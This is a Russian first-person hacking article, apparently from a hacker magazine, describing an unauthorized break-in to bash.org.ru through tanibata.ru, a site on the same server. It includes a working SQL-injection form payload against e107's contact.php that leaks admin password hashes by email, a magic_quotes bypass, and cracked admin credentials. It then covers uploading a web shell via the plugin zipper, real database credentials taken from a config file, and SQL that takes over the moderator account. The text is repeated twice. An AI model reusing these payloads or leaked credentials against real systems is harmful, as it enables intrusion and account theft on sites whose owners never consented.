История взлома Bash.org.ru
На улице шел проливной дождь. Было грустно, и я решил почитать баш. За чтением мне пришла в голову безумная идея попасть в админку цитатника рунета и пощупать его изнутри. Самое главное – где-то спустя полдня археологических изысканий мне это удалось!
От идеи к действиям
Расскажу подробнее о наивнейших ошибках людей, отвечающих за софт на серверах русского башорга. Итак, погнали!
Первым делом я немного пощупал скрипты самого башорга. Единственным интересным открытием был фришный php-скрипт Openads 2.0.11-pr1 (phpadsnew.com), расположенный по адресу http://lol.bash.org.ru/b/admin/index.php. Скрипт отвечает за текстовую рекламу, расположенную между цитатами на всех страницах баша. Посерфив пару-тройки секурити-порталов, я не нашел ни одного паблик сплойта под эту версию. Немного покопав движок на предмет багов, я решил оставить его на потом, и продолжил свои поиски.
Следующим шагом был сервис www.seologs.com/ip-domains.html, который показал мне все виртуальные домены, расположенные на IP-адресе баша (89.111.182.137). Это были:
http://animau.ru
http://bash.org.ru
http://tanibata.ru
http://words.bash.org.ru
Как видишь, улов не особо густой. Единственным доступным из этих адресов, не считая самого баша, был сайт tanibata.ru, посвященный фестивалю японской анимации (чертовы анимешники
). За него я и взялся.
Ня!
Вскользь просмотрев исходник главной страницы подопытного сайта, я увидел там строку:
и очень обрадовался, что там установлен «самый безопасный движок по версии журнала PC Magazine» e107
. Следующим шагом было определение версии движка. Насколько я знал, сделать это можно, по меньшей мере, двумя способами. Первый – пройти по адресу http://tanibata.ru/e107_docs/README_UPGRADE.html. Второй – пройти по адресу http://tanibata.ru/e107_admin/admin.php.
Ни один из способов не прокатил. Тогда я взял за основу дату первой публикации новости на сайте (Sunday 27 May 2007) и чисто теоретически предположил, что версия движка лежит в пределах от 0.7.6 до 0.7.8 (причем, последняя на момент написания статьи – 0.7.11). Теперь необходимо было немного «посерчить» на http://milw0rm.com на предмет паблик эксплойтов под e107, чем я немедленно и занялся. Под искомые версии движка существовали следующие сплойты:
e107 <= 0.7.8 (photograph) Arbitrary File Upload Vulnerability
e107 0.7.8 (mailout.php) Access Escalation Exploit (admin needed)
Второй я отбросил сразу, так как он требовал права админа. Прочитав же описание к первому, я вынужден был отбросить и его, так как это была ложная уязвимость, которая предоставляла лишь загруженный php-код в теле фотографии (и ничего более). Отложив на время e107, я принялся серфить дальше мой подопытный ресурс. Единственной зацепой был форум IP.Board, расположенный по адресу http://tanibata.ru/forum/. Открыв исходник страницы, я крайне расстроился, ибо версия IPB 2.2.0 была на тот момент абсолютно непробиваемой. Ничего не оставалось, как самому копать исходники либо IPB, либо e107. Я выбрал e107. И не ошибся!
Индиана Джонс и e107
Слив на свой ноутбук cms e107 0.7.8 и благополучно установив, я стал ковырять скрипты. Через несколько часов я получил результат в виде скрипта contact.php и следующей строчки кода в нем:
Как видно, переменная $_POST['contact_person'] подставляется в SQL-запрос абсолютно нефильтрованной! Трудность заключалась в дальнейших строках кода:
Сложностей было даже две.
Первая: e107 никогда, ни при каких обстоятельствах не выведет сообщения об ошибке в SQL-запросе.
Вторая: при верно составленной SQL-квере мыло, которое ты отсылаешь в форме контакта с администрацией, уйдет на e-mail, который ты укажешь сам; иначе – на мыло админа. Эксплойт для blind sql-injection был, в принципе, возможен, но, как обычно, писать его было лениво.
Немного подумав, я вспомнил об одной особенности заголовка «To:» при отправке мыла. Итак, в этом поле можно указать мыло получателя в формате «Имя фамилия billy@microsoft.com», и e-mail успешно уйдет адресату! На основе этой информации я придумал простенький эксплойт под эту багу:
Но так как на сервере был включен magic_quotes_gpc, то этот вариант сплойта не прокатил. Нужно было модифицировать все символы, находящиеся в кавычках, в char. Для этого я написал простенький скрипт:
В результате получилось что-то вроде этого в поле «contact_person»:
value="-999 union select user_password,
concat(
user_password, char(32),
user_loginname, char(32,60,109,111,121,95,121,97,119,105,107,
64,98,107,46,114,117,62))
from e107_user where user_id=1/*"
После успешного сабмита я увидел мессагу от e107: «Your message was succesfully sent!», а также новое мыло в своем ящике, где в поле «To:» были хеш и логин админа tanibata.ru:
"To: "30e50569d9a3d6f73ec5075754d43d07 Ren" <moy_email@gmail.com>"
Для успешного входа в админку портала мне жизненно необходимо было расшифровать полученный хеш, так как копаться в исходных кодах e107, отвечающих за авторизацию пользователей, опять не позволяла та же лень. Я полез на всеми любимый сервис по расшифровке md5-хешей plain-text.info, который, к глубочайшему сожалению, не смог мне ничем помочь. Не отчаиваясь, я просмотрел список всех юзеров танибаты с помощью http://tanibata.ru/e107_plugins/forum/forum_stats.php. Приветливый скрипт подсказал мне, что на портале есть и второй админ с ником Selena и ID=2, к которому я и применил свой мегасплойт. Новый хеш e10adc3949ba59abbe56e057f20f883e plain-text.info расшифровал уже с большей охотой, в результате чего я и оказался в админке http://tanibata.ru/e107_admin/admin.php с данными Selena:123456
.
Кавай!
Далее было бы логично залить шелл. Чем я тут же и занялся! Потыкав немного по различным пунктам админки и убедившись, что любой аплоад файла с расширениями .php, .phtml режется на корню, я случайно наткнулся на интересную форму того же аплода в управлении плагинами. Эта форма поддерживает загрузку новых плагинов, запакованных в zip или tar.gz. Следуя этой логике, я запаковал свой шелл в zip и успешно загрузил его, в результате чего получил доступ к серваку по адресу http://tanibata.ru/e107_plugins/404.php?stulcheg
. Немного пошастав по серваку, я нашел сам башорг в /export/hosts/bash.org.ru/documents, где в дальнейшем и остался для изучения всей подноготной баша.
Глубже!
Первым каталогом, заинтересовавшим мое внимание, был admstat. Перейдя по адресу http://bash.org.ru/admstat, я увидел незащищенную паролем статистику зааппрувленных и перелопаченных модераторами баша цитат! Как стало видно из статистики, наиболее активным модером является ujin
. Следующим каталогом для изучения стал app42. По этому адресу находится админга русского башорга. Но чтобы попасть в нее, нужно было изучить механизм авторизации в app42/index.php. Меня заинтриговал следующий код:
Отсюда следовало:
1. Логины и пароли модераторов хранятся в таблице moderators. Поля login и password, соответственно.
2. Пароли модераторов зашифрованы встроенной функцией mysql PASSWORD().
3. Если существуют куки со следующим содержанием – $_COOKIE["panda"]=md5('логин_модератора') и $_COOKIE["kopanda"]=PASSWORD('пароль_модератора'), то ты оказываешься успешно залогиненным в админку.
Необходимо было найти доступы к базе данных. Над ней предстояло немного поизвращаться, дабы не расшифровывать mysql5-хеши модеров.
Я залил менеджер БД RST Mysql в ту же папку, где у меня лежал шелл, и успешно проник в базу башорга с помощью урл http://tanibata.ru/e107_plugins/sql.php. Данные для доступа к БД лежали в корне башорга в файле _config.inc.php:
$db = new ezSQL_mysql(
'krivedko',
'DiamondIsUnbreakable',
'bashorg_refactored',
'localhost');
(ezSQL – не правда ли, знакомое название?)
Зайдя в bashorg_refactored в таблицу moderators, я увидел все данные модеров баша в формате id, логин, имя, пароль и последний заход в админку.
Далее я успешно провел запрос к БД, позволивший мне зайти в админку под своим паролем:
UPDATE moderators
SET password=PASSWORD('lopa')
WHERE id=1;
После логина в админку с данными administrator:lopa я изменил обратно пароль ДаркРайдера:
UPDATE moderators
SET password='*08CDE192357B3CAB08B29E1636F78F0116452E79'
WHERE id=1;
А также подставил значение *08CDE192357B3CAB08B29E1636F78F0116452E79 в кукис kopanda с помощью своей любимой Оперы (Инструменты -> Дополнительно -> Cookies). На этом, собственно, моя цель и была достигнута.
Во имя добра
Я не стал наносить никакого вреда своему любимому ресурсу, а лишь немного походил по админке и посмотрел на bash.org.ru изнутри. Все-таки работа модераторов такого сайта огромна. И тебе хочу дать совет на будущее: никогда не разрушай то, что приносит радость и веселье людям. А через несколько дней все баги были закрыты без моего вмешательства, за что честь, хвала и ящик пива админам!
DANGER
Вся описанная информация предоставляется исключительно к ознакомлению и размышлению. Никакая часть данного материала не может быть использована во вред, в обратном случае, ни автор, ни редакция не несут какой-либо ответственности за возможный ущерб, причиненный материалами статьи.
На улице шел проливной дождь. Было грустно, и я решил почитать баш. За чтением мне пришла в голову безумная идея попасть в админку цитатника рунета и пощупать его изнутри. Самое главное – где-то спустя полдня археологических изысканий мне это удалось!
От идеи к действиям
Расскажу подробнее о наивнейших ошибках людей, отвечающих за софт на серверах русского башорга. Итак, погнали!
Первым делом я немного пощупал скрипты самого башорга. Единственным интересным открытием был фришный php-скрипт Openads 2.0.11-pr1 (phpadsnew.com), расположенный по адресу http://lol.bash.org.ru/b/admin/index.php. Скрипт отвечает за текстовую рекламу, расположенную между цитатами на всех страницах баша. Посерфив пару-тройки секурити-порталов, я не нашел ни одного паблик сплойта под эту версию. Немного покопав движок на предмет багов, я решил оставить его на потом, и продолжил свои поиски.
Следующим шагом был сервис www.seologs.com/ip-domains.html, который показал мне все виртуальные домены, расположенные на IP-адресе баша (89.111.182.137). Это были:
http://animau.ru
http://bash.org.ru
http://tanibata.ru
http://words.bash.org.ru
Как видишь, улов не особо густой. Единственным доступным из этих адресов, не считая самого баша, был сайт tanibata.ru, посвященный фестивалю японской анимации (чертовы анимешники
Ня!
Вскользь просмотрев исходник главной страницы подопытного сайта, я увидел там строку:
Код:
<script type='text/javascript' src='/e107_files/e107.js'></script>
и очень обрадовался, что там установлен «самый безопасный движок по версии журнала PC Magazine» e107
Ни один из способов не прокатил. Тогда я взял за основу дату первой публикации новости на сайте (Sunday 27 May 2007) и чисто теоретически предположил, что версия движка лежит в пределах от 0.7.6 до 0.7.8 (причем, последняя на момент написания статьи – 0.7.11). Теперь необходимо было немного «посерчить» на http://milw0rm.com на предмет паблик эксплойтов под e107, чем я немедленно и занялся. Под искомые версии движка существовали следующие сплойты:
e107 <= 0.7.8 (photograph) Arbitrary File Upload Vulnerability
e107 0.7.8 (mailout.php) Access Escalation Exploit (admin needed)
Второй я отбросил сразу, так как он требовал права админа. Прочитав же описание к первому, я вынужден был отбросить и его, так как это была ложная уязвимость, которая предоставляла лишь загруженный php-код в теле фотографии (и ничего более). Отложив на время e107, я принялся серфить дальше мой подопытный ресурс. Единственной зацепой был форум IP.Board, расположенный по адресу http://tanibata.ru/forum/. Открыв исходник страницы, я крайне расстроился, ибо версия IPB 2.2.0 была на тот момент абсолютно непробиваемой. Ничего не оставалось, как самому копать исходники либо IPB, либо e107. Я выбрал e107. И не ошибся!
Индиана Джонс и e107
Слив на свой ноутбук cms e107 0.7.8 и благополучно установив, я стал ковырять скрипты. Через несколько часов я получил результат в виде скрипта contact.php и следующей строчки кода в нем:
Код:
else
{
$query = "user_id = ".$_POST['contact_person'];
}
Код:
if($sql -> db_Select("user", "user_name,user_email",$query." LIMIT 1"))
{
$row = $sql -> db_Fetch();
$send_to = $row['user_email'];
$send_to_name = $row['user_name'];
}
else
{
$send_to = SITEADMINEMAIL;
$send_to_name = ADMIN;
}
Сложностей было даже две.
Первая: e107 никогда, ни при каких обстоятельствах не выведет сообщения об ошибке в SQL-запросе.
Вторая: при верно составленной SQL-квере мыло, которое ты отсылаешь в форме контакта с администрацией, уйдет на e-mail, который ты укажешь сам; иначе – на мыло админа. Эксплойт для blind sql-injection был, в принципе, возможен, но, как обычно, писать его было лениво.
Немного подумав, я вспомнил об одной особенности заголовка «To:» при отправке мыла. Итак, в этом поле можно указать мыло получателя в формате «Имя фамилия billy@microsoft.com», и e-mail успешно уйдет адресату! На основе этой информации я придумал простенький эксплойт под эту багу:
Код:
<form action="http://tanibata.ru/contact.php" method="POST">
<input name="send-contactus" value="1"/>
<input name="body" value="Thisd is a test email from tanibata =)"/>
<input name="email_send" value="moy_email@gmail.com"/>
<input name="author_name" value="mazafaka"/>
<input name="subject" value="Mega Subject"/>
<input size=200 name="contact_person" value="-999 union
select 1,concat(user_password,' ',user_loginname,' <moy_email@gmail.com>')
from e107_user where user_id=1/*"/>
<input type="submit" value="ok"/>
</form>
Код:
<?php
$symbols=' <moy_email@gmail.com>';
for($i=0;$i<strlen($site);$i++)
{
$i!=(strlen($site)-1) ? print $arr[substr($site,$i,1)].',' : print $arr[substr($site,$i,1)];
}
?>
value="-999 union select user_password,
concat(
user_password, char(32),
user_loginname, char(32,60,109,111,121,95,121,97,119,105,107,
64,98,107,46,114,117,62))
from e107_user where user_id=1/*"
После успешного сабмита я увидел мессагу от e107: «Your message was succesfully sent!», а также новое мыло в своем ящике, где в поле «To:» были хеш и логин админа tanibata.ru:
"To: "30e50569d9a3d6f73ec5075754d43d07 Ren" <moy_email@gmail.com>"
Для успешного входа в админку портала мне жизненно необходимо было расшифровать полученный хеш, так как копаться в исходных кодах e107, отвечающих за авторизацию пользователей, опять не позволяла та же лень. Я полез на всеми любимый сервис по расшифровке md5-хешей plain-text.info, который, к глубочайшему сожалению, не смог мне ничем помочь. Не отчаиваясь, я просмотрел список всех юзеров танибаты с помощью http://tanibata.ru/e107_plugins/forum/forum_stats.php. Приветливый скрипт подсказал мне, что на портале есть и второй админ с ником Selena и ID=2, к которому я и применил свой мегасплойт. Новый хеш e10adc3949ba59abbe56e057f20f883e plain-text.info расшифровал уже с большей охотой, в результате чего я и оказался в админке http://tanibata.ru/e107_admin/admin.php с данными Selena:123456
Кавай!
Далее было бы логично залить шелл. Чем я тут же и занялся! Потыкав немного по различным пунктам админки и убедившись, что любой аплоад файла с расширениями .php, .phtml режется на корню, я случайно наткнулся на интересную форму того же аплода в управлении плагинами. Эта форма поддерживает загрузку новых плагинов, запакованных в zip или tar.gz. Следуя этой логике, я запаковал свой шелл в zip и успешно загрузил его, в результате чего получил доступ к серваку по адресу http://tanibata.ru/e107_plugins/404.php?stulcheg
Глубже!
Первым каталогом, заинтересовавшим мое внимание, был admstat. Перейдя по адресу http://bash.org.ru/admstat, я увидел незащищенную паролем статистику зааппрувленных и перелопаченных модераторами баша цитат! Как стало видно из статистики, наиболее активным модером является ujin
Код:
if (isset($_COOKIE["panda"]) and isset($_COOKIE["kopanda"])) {
$check = $db->get_results("select id, login, password from moderators where md5(login)='".
$_COOKIE["panda"]."' and password='".$_COOKIE["kopanda"]."'", ARRAY_A);
if (!empty($check)) {
$moderator_id = $check[0]['id'];
setcookie("panda", $_COOKIE["panda"], $time+3200);
setcookie("kopanda", $_COOKIE["kopanda"], $time+3200);
$db->query("update moderators set lastseen_at=now() where id=$moderator_id");
$smarty->assign("MODERATOR_ID", $moderator_id);
} else {
header($failover."login");
}
} else {
if ($request_action != 'login') header($failover."login");
}
...
case 'login':
if (isset($_POST['login']) && isset($_POST['password'])) {
$login = $_POST['login'];
$password = $_POST['password'];
$check = $db->get_results("select login, password from moderators
where login='$login' and password=PASSWORD('$password')", ARRAY_A);
if (!empty($check)) {
setcookie("panda", md5($login), $time+3200);
setcookie("kopanda", $check[0]['password'], $time+3200);
header($failover);
}
}
$template = 'admin_login.tpl';
break;
Отсюда следовало:
1. Логины и пароли модераторов хранятся в таблице moderators. Поля login и password, соответственно.
2. Пароли модераторов зашифрованы встроенной функцией mysql PASSWORD().
3. Если существуют куки со следующим содержанием – $_COOKIE["panda"]=md5('логин_модератора') и $_COOKIE["kopanda"]=PASSWORD('пароль_модератора'), то ты оказываешься успешно залогиненным в админку.
Необходимо было найти доступы к базе данных. Над ней предстояло немного поизвращаться, дабы не расшифровывать mysql5-хеши модеров.
Я залил менеджер БД RST Mysql в ту же папку, где у меня лежал шелл, и успешно проник в базу башорга с помощью урл http://tanibata.ru/e107_plugins/sql.php. Данные для доступа к БД лежали в корне башорга в файле _config.inc.php:
$db = new ezSQL_mysql(
'krivedko',
'DiamondIsUnbreakable',
'bashorg_refactored',
'localhost');
(ezSQL – не правда ли, знакомое название?)
Зайдя в bashorg_refactored в таблицу moderators, я увидел все данные модеров баша в формате id, логин, имя, пароль и последний заход в админку.
Далее я успешно провел запрос к БД, позволивший мне зайти в админку под своим паролем:
UPDATE moderators
SET password=PASSWORD('lopa')
WHERE id=1;
После логина в админку с данными administrator:lopa я изменил обратно пароль ДаркРайдера:
UPDATE moderators
SET password='*08CDE192357B3CAB08B29E1636F78F0116452E79'
WHERE id=1;
А также подставил значение *08CDE192357B3CAB08B29E1636F78F0116452E79 в кукис kopanda с помощью своей любимой Оперы (Инструменты -> Дополнительно -> Cookies). На этом, собственно, моя цель и была достигнута.
Во имя добра
Я не стал наносить никакого вреда своему любимому ресурсу, а лишь немного походил по админке и посмотрел на bash.org.ru изнутри. Все-таки работа модераторов такого сайта огромна. И тебе хочу дать совет на будущее: никогда не разрушай то, что приносит радость и веселье людям. А через несколько дней все баги были закрыты без моего вмешательства, за что честь, хвала и ящик пива админам!
DANGER
Вся описанная информация предоставляется исключительно к ознакомлению и размышлению. Никакая часть данного материала не может быть использована во вред, в обратном случае, ни автор, ни редакция не несут какой-либо ответственности за возможный ущерб, причиненный материалами статьи.